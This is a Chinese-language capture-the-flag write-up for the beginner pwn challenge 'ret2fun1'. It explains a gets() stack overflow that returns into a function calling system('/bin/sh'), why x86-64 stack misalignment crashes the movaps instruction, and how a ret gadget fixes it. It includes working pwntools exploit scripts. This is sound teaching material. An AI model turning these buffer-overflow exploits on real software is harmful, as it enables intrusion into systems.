题目信息

题目名称:ret2fun1

解题步骤

可以看到开了很多东西,64位小端序,没有栈溢出保护,NX先默认可执行,没有随机地址

入门小pwn

看到代码也是非常简单的

利用gets进行栈溢出,然后返回到fun的system

fun的地址是401156

image-20251119171455350

gdb也挺方便

16 字节用于填充 s 缓冲区。

8 字节是 RBP 保存区域。

所以,覆盖 RIP(返回地址)之前总共需要填充 24 字节

先简单写个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

elf = context.binary = ELF('./ret2fun')
p = process(elf.path)

fun_addr = 0x401156

payload = b'A' * 24 + p64(fun_addr)

p.sendlineafter(b'please input:', payload)
p.interactive()

可以看到好像拿到了shell?但是真的拿到了吗?如拿!

为什么这么说?

我们执行一下命令,比如ls

你会发现就已经崩溃了

栈对齐的要求

这是因为在x86_64架构下,函数调用前栈需要 16 字节对齐
如果不对齐,在调用像 system() 这种函数时,有时会因为栈不对齐导致崩溃。

栈对齐(stack alignment) 是指在调用函数(特别是 C 函数或系统库函数)前,
栈指针寄存器 RSP 必须是 16 字节对齐(即 RSP % 16 == 0)

这不是编译器随意的习惯,而是 AMD64 System V ABI 规范 的硬性要求。
这个规范规定了 Linux / macOS / BSD 等 64 位系统上函数调用的栈布局。

其实主要是为了性能和安全性两种要求

在 64 位系统里,很多函数(例如 printf, system, memcpy)内部使用了 SSE 指令。

SSE 寄存器(XMM0~XMM15)在访问内存时要求操作数按 16 字节对齐

如果对齐正确,CPU 一次可以加载或存储 16 字节;

如果没对齐,执行 movapsmovdqa 等指令会 触发段错误 (SIGSEGV)

比如:

1
movaps xmm0, [rsp+8]

在这种情况下,rsp+8如果不是16的倍数,就会导致程序直接崩溃。

ABI规定:在执行 call 指令前,调用方必须保证栈顶(RSP)是 16 字节对齐的

栈对齐原理

当你执行 call func 时,CPU 会自动把返回地址压入栈中(8 字节):

1
2
RSP 先减 8
[返回地址] ← 压入栈

所以,在函数内部开始执行时,RSP 的值其实是 16 的倍数 + 8

也就是说:

  • 进入函数前:RSP 对齐到 16。
  • 进入函数后:RSP % 16 == 8。

举个简单的例子:

正常函数调用

1
2
3
main() {
fun();
}

编译器自动保证在call fun前对齐

1
2
3
main():
sub rsp, 8 ; 调整栈空间
call fun ; 进入时 rsp%16==8,OK

fun() 内部执行没问题。

手动修改返回地址

比如:

1
payload = b'A'*24 + p64(fun_addr)

此时返回到 fun(),但我们是手动跳的
没有通过 call,所以 RSP 的状态不一定对齐(通常差 8 字节)。

一旦 fun() 里调用了像 system("/bin/sh") 这样的函数,
libc 内部执行 SSE 指令时可能会崩溃。

就会出现像现在这样的问题了

解决方法

其实我们可以在payload里加一个单独的ret

1
payload = b'A' * 24 + p64(0x40101a) + p64(fun_addr)

执行顺序:

  1. 先执行 ret(相当于弹出 8 字节);
  2. RSP += 8;
  3. 现在 RSP 对齐到 16;
  4. 然后再执行 fun()

此时栈对齐正确,system() 不再崩溃。

1
ROPgadget --binary ./ret2fun | grep "ret"

抓一个返回地址

1
0x40101a

image-20251119174331613

这下就好了

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

elf = context.binary = ELF('./ret2fun')
p = process(elf.path)

fun_addr = 0x401156
ret_addr = 0x40101a

payload = b'A' * 24 + p64(ret_addr) + p64(fun_addr)

p.sendlineafter(b'please input:', payload)
p.interactive()

改一下远程就可以愉快的拿flag啦~

补充

栈对齐对比图

graph TD
    A[开始:main函数返回前] --> B[栈溢出攻击]
    B --> C{是否使用ret gadget对齐栈?}
    
    C -->|否,直接跳转| D[执行 fun 函数]
    D --> E[RSP % 16 == 8 ❌ 未对齐]
    E --> F[system函数中movaps指令崩溃 💥]
    
    C -->|是,使用ret gadget| G[执行ret gadget RSP += 8]
    G --> H[执行 fun 函数]
    H --> I[RSP % 16 == 0 ✅ 已对齐]
    I --> J[成功获得shell 🐚]

    style F fill:#ffcccc
    style J fill:#ccffcc

栈布局示意图

graph TB
    subgraph "未加 ret gadget(错误对齐 ❌)"
        A1["s[16] 缓冲区"] --> A2["保存的 RBP"] --> A3["fun() 地址<br/>(覆盖的返回地址)"]
    end

    subgraph "加 ret gadget(正确对齐 ✅)"  
        B1["s[16] 缓冲区"] --> B2["保存的 RBP"] --> B3["ret gadget 地址<br/>(0x40101a)"] --> B4["fun() 地址"]
    end

    A3 --> C1["进入 fun() 时<br/>RSP 指向此处<br/>RSP % 16 == 8 ❌"]
    C1 --> D1["执行 system('/bin/sh') 时<br/>movaps 指令崩溃 💥"]
    
    B4 --> C2["ret gadget 执行后<br/>RSP += 8,RSP % 16 == 0 ✅"]
    C2 --> D2["正常执行 system('/bin/sh')<br/>成功获得 shell 🐚"]

    style D1 fill:#ffcccc,color:#000
    style D2 fill:#ccffcc,color:#000